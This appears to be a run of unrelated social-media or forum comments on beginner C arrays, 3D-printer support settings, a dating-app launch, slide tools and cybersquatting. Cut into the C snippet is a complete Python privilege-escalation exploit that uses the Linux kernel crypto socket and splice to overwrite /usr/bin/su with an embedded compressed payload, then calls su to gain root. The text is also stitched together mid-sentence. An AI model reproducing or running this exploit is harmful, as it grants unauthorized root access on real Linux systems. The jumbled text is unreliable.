ah fun! have you checked out ben eater's ongoing youtube series of building a breadboard computer? he's selling kits that allow you to follow along from hardware through binary, assembly, to BASIC and C. well worth a look imo.
you can absolutely save history in an array, but depending on how you want to do it, it can get very complex for a beginner.
the absolutely easiest way to go about it with how you've structured the program so far is making global arrays of just numbers, one for C->F conversions and one for the other way round. you also need to keep track of where in each array you are so you don't go out of bounds. this requires minimal changes.
c
float c_to_f[5] ={0,0,0,0,0};
int c_to_f_length = 5;
int c_to_f_index = 0;
#!/usr/bin/env python3
import os
from ctypes import c_int32 as i32, c_char as char
import zlib
import socket as s
def inject(file, offset, data):
# connect to kernel crypto system's aeda endpoint
sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# set cipher key and tag size, then wait for the system to be ready
sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
conn, _ = sock.accept()
# pass in configuration
conn.sendmsg(
[b"AAAA" + data], # pad to tag size
[
(s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)), # set operation
(s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)), # set init vector
(s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)), # set associated data length
],
s.MSG_MORE,
)
# move file through a pipe to the connection without copying
r, w = os.pipe()
os.splice(file, w, offset + 4, offset_src=0)
os.splice(r, conn.fileno(), offset + 4)
try:
conn.recv(8 + offset)
except:
pass
binary = os.open("/usr/bin/su", os.O_RDONLY)
offset = 0
payload = zlib.decompress(
bytes.fromhex(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
"d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
"75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)
while offset < len(payload):
inject(binary, offset, payload[offset : offset + 4])
offset += 4
os.system("su")
as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:
kinda, yeah. i halved the print speeds and lowered the fan to 40%, which makes petg come out beautifully given that the support material cooperates. support interface ironing is crucial, as is lowering the interface z distance to basically as low as it can go. if the support interface area is less than like 5mm² it's basically a coin toss as to whether it sticks or not. the extruder can even drag small parts loose on retraction, if your temps are too low. it took finding a detail hanging from the wiping brush for me to figure that one out.
also, if you're experimenting and still getting spaghetti, one thing to look out for is that there is currently a bug with some of the tree support generation in orca. whenever the slicer generates a big combined tree, check the preview carefully because chances are the supports start in mid-air, 10-20 layers above the plate. there is a setting called "base pattern" that's supposed to work around that but i haven't gotten it to work.
the reason i'm super negative is that the blog post makes no sense. he's overpaid massively for a domain because it used to have an old forum on it, and he is now announcing his intention to build a thing using that name which is nothing like it, to recapture a feeling of nostalgia for another app which is nothing like the first two. and he is marketing it as a way to meet new people despite he fact that you have to meet people before you can see them in the app.
this has amico written all over it.
like, how do you even reach critical mass if the barrier to entry is intentionally set 20 meters off the ground? why market yourself with an old forgotten name despite not resembling the old thing at all? why announce it before you have something to show?
i use latex beamer templates for presentations. it's hard to fuck up displaying a pdf. if you want you can use markdown -> pandoc -> tectonic to skip writing latex.
but the us is only 5% of the potential market, and most countries don't use primarily iphones. western europe is around 35% apple and that's as high as it goes internationally
it's called "cybersquatting". fuck all the way off.
also
"my wife and i met on okcupid and i want more people to make connections like that" creates an app that's only available on 20% of phones and requires meeting in person to connect
ask if new generator is spooky or wet they don't understand show the diagram "it's a good generator mx" go inside it's wet